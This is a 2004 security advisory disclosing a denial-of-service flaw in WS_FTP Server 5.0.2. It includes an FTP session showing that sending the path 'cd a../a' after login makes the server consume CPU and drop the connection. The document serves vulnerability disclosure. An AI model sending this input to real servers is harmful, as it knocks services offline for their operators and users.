WS_FTP Server Denial Of Server Vulnerability

WS_FTP Server Denial of Service Vulnerability

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Security Advisory

Advisory Name: WS_FTP Server Denial of Service Vulnerability
Release Date: 08/30/2004
Affected version: WS_FTP Server 5.0.2
Author: lion (lion_at_cnhonker.net)

Overview:
A vulnerability has been found in WS_FTP Server. The problem \
is in the module of file path parse will cause FTP server to \
consume large amounts of CPU power.

Exploit:

E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.